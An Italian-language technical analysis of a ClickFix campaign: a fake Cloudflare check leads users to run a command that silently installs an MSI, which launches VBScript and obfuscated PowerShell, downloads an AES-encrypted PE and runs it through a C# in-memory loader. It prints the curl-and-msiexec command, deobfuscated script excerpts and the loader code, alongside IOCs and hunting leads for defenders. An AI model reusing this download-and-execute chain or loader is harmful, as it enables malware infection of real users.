La pagina chiede di dimostrare di essere umani. Ha il logo Cloudflare, uno sfondo scuro e la casella «Non sono un robot». Tutto sembra al suo posto, finché non si guarda la barra degli indirizzi: il dominio visibile è 8wvl.yrdentraffic[.]cc.
La falsa verifica invita poi ad aprire la finestra Esegui di Windows, avviare cmd, incollare il contenuto degli appunti e premere Invio. A quel punto l’utente sta eseguendo istruzioni sul proprio computer, convinto di completare un controllo nel browser.
È il meccanismo di ClickFix. In questo caso, il comando riportato nell’analisi scarica un pacchetto MSI e lo passa a Windows Installer. L’installer avvia uno script VBScript, che estrae ed esegue PowerShell. Due livelli di offuscamento nascondono il download del payload e un componente C# ne prepara l’esecuzione in memoria.
La ricostruzione si basa sulle schermate raccolte e sull’analisi statica documentata del campione. Descrive ciò che emerge dal codice: non è una registrazione di un’infezione eseguita in laboratorio.
Il falso CAPTCHA e l’avvio del prompt dei comandi
La pagina mantiene lo stesso aspetto durante tutta la procedura. Dopo il primo clic, un riquadro arancione mantiene logo, colori e riferimenti alla «verifica umana». Le istruzioni sono numerate e accompagnate dai simboli dei tasti. L’apertura del prompt viene così presentata come un passaggio ordinario della procedura.
Le schermate documentano il pretesto e le istruzioni mostrate. Da sole non consentono di verificare quale contenuto fosse stato copiato negli appunti o se qualcuno lo abbia eseguito. Il comando associato a questa catena proviene dall’analisi tecnica allegata.
Un terzo ritaglio mostra anche nodistribute[.]com, con un parametro utm_source troncato. È un elemento di contesto da conservare, ma non basta a ricostruire un reindirizzamento o ad attribuire a quel dominio la distribuzione del malware.
Download e installazione del pacchetto MSI
Il comando iniziale usa curl.exe per recuperare un file da hxxps://cloubflare[.]net/1003 e salvarlo come %TEMP%\S269.msi. Se il download riesce, avvia msiexec con le opzioni /qn e /norestart: niente interfaccia dell’installer e nessun riavvio richiesto dal comando.
Il nome cloubflare richiama visivamente Cloudflare, ma è un dominio distinto. La somiglianza con il marchio ripreso nella pagina contribuisce a rendere credibile la richiesta.
Nella riga di comando compaiono anche tentativi di download ripetuti e l’opzione --ssl-no-revoke. Quest’ultima disabilita il controllo di revoca dei certificati quando curl usa Schannel; non equivale ad accettare qualsiasi certificato non valido. I retry rendono il trasferimento più tollerante agli errori, senza costituire un meccanismo di persistenza sul sistema. Documentazione curl.
Il file esaminato nell’analisi era denominato test.zip, ma conteneva un database MSI. La firma OLE Compound File è il primo indizio; sono le tabelle interne a chiarire la natura del pacchetto. Il contenuto del file non corrisponde quindi all’estensione .zip. Non sappiamo però se il nome .zip fosse stato scelto durante la distribuzione o in una fase successiva di raccolta.
Analisi del comando iniziale
Il comando è riportato su più righe per facilitarne la lettura. L’indirizzo è stato reso non operativo:
cmd /c curl.exe -fsL --ssl-no-revoke
--retry 8 --retry-connrefused --retry-delay 1 --connect-timeout 20
-o "%TEMP%\S269.msi" hxxps://cloubflare[.]net/1003
&& msiexec /i "%TEMP%\S269.msi" /qn /norestart-f fa fallire il trasferimento sugli errori HTTP, -s riduce l’output e -L segue i redirect. L’operatore && lega l’avvio dell’installer al successo del comando precedente. Dopo l’esecuzione del comando iniziale, download e installazione possono quindi proseguire senza ulteriori interazioni con l’utente.
Identificazione del formato MSI
Il report parte dalla firma D0 CF 11 E0 A1 B1 1A E1. È la firma del formato Compound File, non una firma esclusiva degli MSI. L’identificazione viene completata interrogando le tabelle con WindowsInstaller.Installer e ispezionando gli stream OLE con olefile. Le tabelle vengono lette senza avviare l’installazione del pacchetto.
La CustomAction VBScript e l’estrazione di PowerShell
Il pacchetto si presenta come SynerIntegration 4.1.6, con il produttore dichiarato Sare Level Corp. Questi sono valori del database MSI, non attestazioni sull’identità dell’autore.
La tabella CustomAction contiene il riferimento allo script VBScript. L’azione EcAdvanceAction richiama il contenuto di DecimalDouble375, un blob VBScript conservato nella tabella Binary. Il valore di tipo è 4102, cioè 0x1006: VBScript proveniente dalla tabella Binary, con il flag per gli script a 64 bit. Microsoft: Custom Action Type 6.
Il VBScript nasconde le stringhe dietro sequenze di Chr(). Una volta ricostruite, la logica è leggibile: recupera il percorso dell’MSI, lo registra nella variabile d’ambiente di processo MSIc31bd05a ed estrae un secondo blob, DictionaryParallel1146.
Quel contenuto viene scritto in un file PowerShell con nome numerico nella cartella temporanea. Lo script viene avviato senza profilo, con ExecutionPolicy Bypass e finestra nascosta. Dopo una breve attesa, il VBScript tenta di cancellare il file .ps1.
La scrittura del file temporaneo offre un punto di osservazione per l’analisi forense, anche se lo script ne tenta successivamente la rimozione. La cancellazione non dimostra che ogni traccia sia scomparsa, né che lo script abbia terminato correttamente.
Le tabelle Property, CustomAction e Binary
Le tabelle riportano i metadati del pacchetto, la funzione da richiamare e i due script incorporati:
[Property]
ProductName = SynerIntegration
Manufacturer = Sare Level Corp
ProductVersion = 4.1.6
ProductCode = {D6E299B7-03DD-4F3D-8701-79DF48D55CAA}
UpgradeCode = {FC2FFB9F-228B-4F60-AD6B-C96BFAADA006}
LIMITUI = 1
[CustomAction]
Action = EcAdvanceAction
Type = 4102 (0x1006 = 0x1000 + 0x0006)
Source = DecimalDouble375
Target = EcAdvanceAction
[Binary]
DecimalDouble375 9,510 bytes 46 75 6E 63 ("Func")
DictionaryParallel1146 82,354 bytes 24 6F 72 6C ("$orl")LIMITUI limita il livello dell’interfaccia; non va confuso con /qn, che nella riga di consegna la sopprime. L’azione personalizzata resta un punto di esecuzione dell’installer anche quando non viene mostrata una finestra.
Deoffuscamento del VBScript
Il primo strato usa Execute e concatenazioni di Chr(N). La decodifica del report ricostruisce il testo senza eseguire quelle istruzioni. L’estratto seguente conserva i nomi originali delle variabili e mostra come lo script recupera il percorso dell’MSI ed estrae il contenuto della tabella Binary:
xndxd = Session.Property("OriginalDatabase")
If Len(xndxd) = 0 Then Exit Function
Set qtbivasc = CreateObject("WScript.Shell")
Set pflek = qtbivasc.Environment("Process")
pflek("MSIc31bd05a") = xndxd
mqbhrpr = qtbivasc.ExpandEnvironmentStrings("%TEMP%") & "\" & _
Int(Rnd() * 999999) & ".ps1"
gdyex = "SELECT `Data` FROM `Binary` WHERE `Name`='DictionaryParallel1146'"
Set jpvhtrau = Session.Database.OpenView(gdyex)
jpvhtrau.Execute
Set evxkfdvt = jpvhtrau.FetchIl report mostra poi un ADODB.Stream configurato come testo windows-1252: legge il campo con ReadStream in blocchi da 65.536 e salva il risultato nel percorso temporaneo. OriginalDatabase fornisce il percorso del pacchetto; non è un indirizzo di rete.
La chiamata qtbivasc.Run zivcmecm, 0, False avvia il comando costruito dallo script con finestra nascosta e senza attendere il termine di PowerShell. Segue ping -n 3 127.0.0.1, usato come attesa approssimativa, e un tentativo di DeleteFile sul .ps1. Non è una sincronizzazione affidabile: quel ritardo non prova che PowerShell abbia caricato o completato lo script.
I due livelli di offuscamento PowerShell
Il blob PowerShell è di circa 82 KB. Gran parte della sua complessità viene dal modo in cui sono rappresentate le stringhe: array di interi, una costante da sommare e conversioni in caratteri.
Il primo livello ricostruisce iex, alias di Invoke-Expression, e il testo del livello successivo. Il secondo usa lo stesso schema per far emergere altri riferimenti, tra cui l’indirizzo hxxps://sebora[.]cfd/dl/00000000.
Il codice usa questo indirizzo per scaricare il payload cifrato. Un eventuale ruolo di comando e controllo resta da verificare attraverso l’analisi delle comunicazioni successive.
La catena ricostruita fino a questo punto è:
Falsa verifica → comando dell’utente → MSI → CustomAction VBScript → script PowerShell temporaneo → download del payload cifrato.
Ricostruzione delle stringhe dagli array di interi
Il primo array contiene tre valori. Sommando la costante 2299604 e convertendo i risultati in caratteri, si ottiene la stringa iex:
$orl = @(-2299499, -2299503, -2299484)
$krmpsngrf = ''
for ($i = 0; $i -lt $orl.Length; $i++) {
$krmpsngrf += [char]([int64]$orl[$i] + 2299604)
}
# 105, 101, 120 -> "iex"La stessa trasformazione applicata alla stringa più lunga produce il secondo livello, riportato come 9.121 caratteri. Il primo strato usa il nome ricostruito come comando e il secondo testo come argomento. Nel secondo livello emergono MSIc31bd05a, GetEnvironmentVariable e l’URL del download.
Questa rappresentazione nasconde le stringhe alle ricerche testuali più semplici. Per recuperarle basta riprodurre l’addizione e la conversione in caratteri, senza eseguire il codice risultante. La decodifica permette di ricostruire il collegamento fra il VBScript iniziale e il payload remoto.
Struttura del payload e decifrazione AES-256-CBC
Il file scaricato contiene, nell’ordine, 32 byte di chiave AES, 16 byte di IV e, a seguire, il contenuto cifrato. Il codice usa AES-256 in modalità CBC con padding PKCS7.
Qui la cifratura nasconde la forma immediatamente riconoscibile del payload, ma non lo rende inaccessibile a chi possiede il blob completo. Chiave e IV sono nello stesso file: una copia integra è sufficiente per tentare la decifrazione offline.
L’analisi allegata documenta infatti un contenuto decifrato di 7.997.952 byte, identificato come PE a 64 bit con elementi riconducibili al runtime MinGW-w64. Nelle risorse compaiono nomi come Compiletalk Consulting, Talk Newsletter Router Service e talk_router.
Sono dettagli utili per confrontare campioni e cercare artefatti. Non identificano, da soli, una famiglia malware o un’organizzazione responsabile.
Offset, chiave AES e vettore di inizializzazione
Il blob ha una dimensione complessiva di 7.998.016 byte, suddivisi come segue:
Offset Length Content
0x00000000 32 AES-256 key
0x00000020 16 CBC IV
0x00000030 7,997,968 Ciphertext
Key: D8650460662909B5208F3DC917C15D58ABE618AAA149306116D833A5E49A2BBB
IV: 29FEFD76F0BFAA6DE36C579D138D0307
Plaintext reported: 7,997,952 bytes
Difference: 16 bytes (consistent with a full PKCS7 padding block)Chiave e IV sono valori del campione descritti nel report, non segreti recuperati da una vittima. I 16 byte di differenza sono compatibili con il padding dichiarato; non costituiscono, da soli, una verifica crittografica indipendente.
Nel secondo livello PowerShell, il codice separa $IX_i45MyMmOuJ[0..31] e $IX_i45MyMmOuJ[32..47], imposta CipherMode::CBC e PaddingMode::PKCS7, quindi costruisce un CryptoStream sui byte dall’offset 48. Il risultato della lettura viene passato al loader insieme al numero di byte restituiti. Per verificare questo passaggio occorre confrontare la lunghezza restituita dalla lettura con quella del contenuto PE decifrato.
Il loader C# e il tentativo di esecuzione in memoria
Lo script PowerShell decodifica anche una classe C# chiamata R46109 e la compila tramite Add-Type. Il metodo riportato nell’analisi alloca memoria con permessi di lettura, scrittura ed esecuzione, copia il buffer decifrato e chiama CreateThread indicando quel buffer come indirizzo iniziale.
La sequenza VirtualAlloc → Marshal.Copy → CreateThread descrive un tentativo di esecuzione nel processo corrente. Nel frammento disponibile non compare un’iniezione in un altro processo.
Il contenuto decifrato è identificato come un file PE, ma il loader passa direttamente il buffer a un thread. Copiare un normale file PE in memoria non equivale a caricarlo correttamente: servono, per esempio, la gestione degli import e delle rilocazioni. Per stabilire se questo campione contenga uno stub adatto all’avvio dal buffer occorre seguire quel percorso di codice. I soli byte iniziali MZ non risolvono la questione.
Il codice prepara quindi l’esecuzione del buffer in memoria. Il materiale disponibile non dimostra che l’intera catena abbia funzionato a runtime. Anche la definizione di attacco completamente “fileless” sarebbe imprecisa: l’MSI e lo script temporaneo fanno già parte della sequenza.
Il metodo Run della classe R46109
Questo è il corpo del metodo riportato nel materiale, isolato dalle dichiarazioni P/Invoke e dalla catena di download:
public static void Run(byte[] sc, int len) {
IntPtr mem = VirtualAlloc(
IntPtr.Zero, (UIntPtr)len, 0x3000, 0x40);
Marshal.Copy(sc, 0, mem, len);
uint tid;
CreateThread(IntPtr.Zero, UIntPtr.Zero, mem,
IntPtr.Zero, 0, out tid);
}0x3000 combina MEM_COMMIT e MEM_RESERVE; 0x40 richiede PAGE_EXECUTE_READWRITE. Il puntatore restituito viene usato sia come destinazione della copia sia come indirizzo di partenza del thread. Nel corpo mostrato non compaiono controlli sugli errori delle due API né una mappatura PE esplicita.
La classe dichiara anche VirtualProtect, LoadLibraryA e GetProcAddress, ma il metodo riportato non le richiama. La presenza di una dichiarazione non dimostra l’esecuzione dell’operazione associata: per esempio, non documenta da sola un cambio successivo da RW a RX o un hooking di librerie.
Analisi del PE e decompilazione in Ghidra
La decompilazione riportata nell’analisi mostra un eseguibile difficile da seguire: molte trasformazioni aritmetiche, chiamate concatenate e condizioni dipendenti da valori calcolati. La stringa SECRETK compare in tre funzioni; una modifica di puntatore avviene quando una variabile di stato raggiunge 0x1e.
Sono punti da approfondire nel reverse engineering. Non bastano ancora a dimostrare un builder commerciale, una chiave diversa per ogni campagna o una funzione di evasione delle sandbox. Allo stesso modo, costanti a 32 bit e import di rete assenti non provano automaticamente la presenza di API hashing: va ricostruita la funzione che risolve e usa quelle API.
Le ricerche di firme descritte non hanno prodotto un’identificazione affidabile. La classificazione resta quindi payload PE offuscato, famiglia non determinata. L’assenza di alcune stringhe note non consente di escludere categoricamente Cobalt Strike, Havoc, Sliver o altri framework.
Il PE recuperato: metadati e import
Il report descrive sette sezioni: .text, .rdata, .data, .pdata, .tls, .rsrc e .reloc. Le risorse di versione riportano nomi e versioni diversi da quelli del pacchetto MSI:
CompanyName = Compiletalk Consulting
FileDescription = Talk Newsletter Router Service
InternalName = talk_router
ProductName = Talk Router
FileVersion = 1.7.116.271
ProductVersion = 5.29.55.1280
Manifest name = talk_router.talk
Selected imports reported:
VirtualAlloc / VirtualFree / VirtualProtect / VirtualQuery
CreateThreadpoolWork / SubmitThreadpoolWork
CloseThreadpoolWork / WaitForThreadpoolWorkCallbacks
TlsGetValue / Sleep / GetLastError
EnterCriticalSection / LeaveCriticalSectionLe API del thread pool indicano funzionalità disponibili al binario, ma non ricostruiscono da sole i callback che verranno eseguiti. Il report non individua import espliciti da WinHTTP, WinINet o Winsock. Questo restringe l’indagine: può esserci risoluzione dinamica, un altro componente incaricato della rete o un percorso ancora non ricostruito.
Entry point, TLS e risorse
L’entry point è riportato a RVA 0x3FC0F9, con un salto verso RVA 0x1000. Il disassemblato della routine di destinazione mostra:
RVA 0x001000: sub rsp, 0x28
RVA 0x001004: mov rax, [rip+0x708015]
RVA 0x00100B: mov dword [rax], 0x1
RVA 0x001011: call RVA 0x1020
RVA 0x001016: nop
RVA 0x001019: add rsp, 0x28
RVA 0x00101D: ret
; Extract from the subsequent routine
mov rax, gs:[0x30]
mov rsi, [rax+8]Questa sequenza mostra inizializzazione e accessi a strutture di thread, ma non basta a identificare un resolver di API. In particolare, non assegniamo automaticamente a [rax+8] il significato di PEB.ProcessParameters: vanno verificati struttura, offset e flusso dei puntatori.
Sono riportate anche due TLS callback, a RVA 0x706CA0 e 0x706D20, interpretate nell’analisi come routine di inizializzazione e pulizia del runtime. È un’interpretazione plausibile da verificare sul corpo completo; la sola presenza delle callback non prova anti-debugging.
Per .rsrc, l’ispezione descritta legge due risorse bitmap da 19.240 byte con bassa entropia e incontra poi un problema su un nome Unicode. Il risultato riguarda gli elementi letti: un’enumerazione incompleta non consente di escludere contenuti nascosti nel resto della sezione.
SECRETK e le trasformazioni aritmetiche
Tre funzioni fanno riferimento alla stringa SECRETK. Il seguente pseudocodice, ricostruito da FUN_140008920, mostra come il seed e i sette caratteri della stringa vengono combinati per produrre un valore a 32 bit:
key = "SECRETK";
for (i = 0; i < 16; i++)
buf[i] = ((param_1 >> (i & 7)) % 26) + 'A';
for (i = 0; i < 16; i++)
if (buf[i] > '@' && buf[i] < '[')
buf[i] = ((buf[i] + key[i % 7] - 0x82) % 26) + 'A';
hash = 0;
for (i = 0; i < 16; i++)
hash ^= (uint)buf[i] << ((i & 3) << 3);
if (DAT_140710c45 < 0xb) {
if ((hash >> 3) & 1) hash ^= FUN_140034b70();
if (!((hash >> 3) & 1)) hash ^= FUN_140034e00();
if ((hash >> 3) & 1) hash ^= FUN_140026ec0(hash);
}
return FUN_140034f90(hash) ^ hash;Il primo ciclo produce caratteri A–Z; il secondo li mescola con SECRETK; il terzo li ripiega in un valore di 32 bit mediante XOR. I test sul bit 3 non sono necessariamente mutuamente esclusivi: una chiamata precedente può modificare hash prima del test successivo. Il confronto con 0xb è visibile, ma il limite effettivo delle chiamate dipende anche da dove il contatore viene incrementato o azzerato.
Il report collega FUN_14002d400 a ulteriori operazioni con 0x73838551 e 0x6d116db2, e FUN_140032d60 a un ordinamento su valori derivati da 0xd2832896. Questi dettagli offrono riferimenti concreti per cercare le funzioni in altri campioni. Per dimostrare un builder per campagne servirebbe invece confrontare varianti e configurazioni, non soltanto il nome della stringa.
Nove costanti nella routine principale
In FUN_14004ca40 vengono inizializzati campi a offset diversi, seguiti da una lunga catena di chiamate. L’estratto riporta le nove costanti e le prime chiamate. La loro eventuale corrispondenza con hash di API resta da verificare:
*(puVar2 + 0x50) = 0x910823ce;
*(puVar2 + 0x8c) = 0x9c1ae0ac;
*(puVar2 + 0xf8) = 0x430eaf70;
*(puVar2 + 0x48) = 0x98dab707;
*(puVar2 + 0xd0) = 0x779812ab;
*(puVar2 + 0x40) = 0xcc55a971;
*(puVar2 + 0xd8) = 0xc1c8e2b3;
*(puVar2 + 0xc0) = 0xd8c0d6b5;
*(puVar2 + 0x28) = 0x768657c1;
uVar3 = FUN_14004cda0(0x3a4756e);
uVar4 = FUN_14004ce30();
uVar5 = FUN_14004d190(0x3e4549a7, 0xbdabb111, uVar4 >> 2, uVar3);Per arrivare da questi valori a nomi di API occorre seguire chi legge i campi, quale trasformazione applica e con cosa confronta il risultato. La struttura è compatibile con più interpretazioni finché quel percorso non è ricostruito.
Il mixer a quattro round
FUN_140001780 combina somme, rotazioni e XOR con seed fissi. Il seguente pseudocodice ne descrive le operazioni. La definizione “XTEA-like” usata nel report non è sufficiente a identificarlo come una variante di XTEA:
a = 0xde2c0773; b = 0xeffac1f4;
c = 0xeb5c45da; d = 0xcd065aae;
for (i = 0; i < 4; i++) {
a = b + a;
t1 = a ^ ROL32(b, 5);
t2 = (d + c) ^ ROL32(d, 8);
t3 = t1 + d + c;
a = t2 ^ ((a << 16) | (a >> 16));
b = t3 ^ ROL32(t1, 13);
d = a ^ ROL32(t2, 7);
c = (t3 << 16) | (t3 >> 16);
}
result = a ^ b ^ c ^ d;Con seed fissi e senza altre sorgenti d’ingresso, il calcolo è deterministico. Le operazioni possono complicare la lettura del flusso, ma non generano nuova entropia. Per una riproduzione fedele vanno rispettati aritmetica a 32 bit e overflow.
La transizione allo stato 0x1e
In FUN_140012270, quando DAT_1407109b0 vale 0x1e (30), viene aggiornato un puntatore nella struttura condivisa e lo stato passa a 0x1f:
if (DAT_1407109b0 == 0x1e) {
*(longlong *)(*(longlong *)(DAT_1407109b8 + 200) + 8) =
*(longlong *)(DAT_1407109b8 + 0x18);
DAT_1407109b0 = 0x1f;
}La scrittura è compatibile con l’aggiornamento di un callback o di un puntatore in una struttura. Per chiamarla “attivazione del payload” occorre risolvere il valore a +0x18 e individuarne l’uso successivo. Anche il significato di 30 va mantenuto preciso: è uno stato confrontato dal codice, non la prova di 30 passaggi temporali o di un ritardo contro le sandbox.
Funzioni, offset e costanti forniscono riferimenti per proseguire il reverse engineering e confrontare altri campioni, anche in assenza di un’attribuzione certa.
Tracce utili per il rilevamento e l’analisi forense
La correlazione degli eventi aiuta a distinguere questa sequenza dalle normali attività amministrative. Un installer silenzioso o una sessione PowerShell, presi isolatamente, possono essere legittimi. La loro comparsa ravvicinata dopo il download di un MSI nella cartella temporanea merita invece attenzione.
Le verifiche dovrebbero concentrarsi su:
- download e creazione di
S269.msi, seguiti dall’attività di Windows Installer; - avvio di PowerShell nel contesto dell’installazione, con uno script numerico in
%TEMP%; - creazione e successiva cancellazione del
.ps1, se registrate dalla telemetria disponibile; - richieste verso gli indirizzi di distribuzione riportati sotto;
- contenuti PowerShell e attività di memoria coerenti con la classe
R46109, dove i sensori consentono di osservarli.
Queste sono piste di hunting ricavate dall’analisi, non regole di rilevamento validate. Occorre correlarle con utente, orario, origine del file e attività amministrative previste. Non è necessario aspettarsi un albero di processi che inizi direttamente dal browser: è l’utente ad aprire la shell attraverso Esegui.
Per chi incontra la pagina, il segnale da ricordare è concreto: una verifica web che chiede di aprire un terminale e incollare istruzioni sta chiedendo accesso all’esecuzione locale. Se il comando è già stato avviato, chiudere la scheda non annulla quanto è successo. Va segnalato subito al team IT o di sicurezza, conservando l’orario e le informazioni disponibili per la ricostruzione.
Indicatori di compromissione e identificativi del campione
Gli indirizzi sono disattivati intenzionalmente. Gli hash sono quelli riportati nell’analisi sorgente; non sono stati ricalcolati sui binari durante la preparazione dell’articolo. Un singolo indicatore non dimostra da solo una compromissione.
| Indicatore | Ruolo nel materiale analizzato |
|---|---|
8wvl.yrdentraffic[.]cc | Host visibile nella schermata della falsa verifica |
hxxps://cloubflare[.]net/1003 | URL di download dell’MSI |
hxxps://sebora[.]cfd/dl/00000000 | URL di download del blob cifrato ricostruito dal PowerShell |
%TEMP%\S269.msi | Percorso di salvataggio dell’MSI |
SynerIntegration, versione 4.1.6 | Metadati del pacchetto MSI |
{D6E299B7-03DD-4F3D-8701-79DF48D55CAA} | ProductCode MSI |
MSIc31bd05a | Variabile d’ambiente di processo nel VBScript |
DecimalDouble375 / DictionaryParallel1146 | Nomi dei blob nella tabella Binary |
R46109 | Nome della classe C# riportata nel loader |
SHA-256 del blob cifrato
B8C2F5EDB461CEC814792A57EC896053DA415D4B2786A86C497792C8BFDC223A
SHA-256 del PE decifrato
521D59DBE432D07B5866B27BE0639A3EC909922F7191C56D94A3CAC09AADE346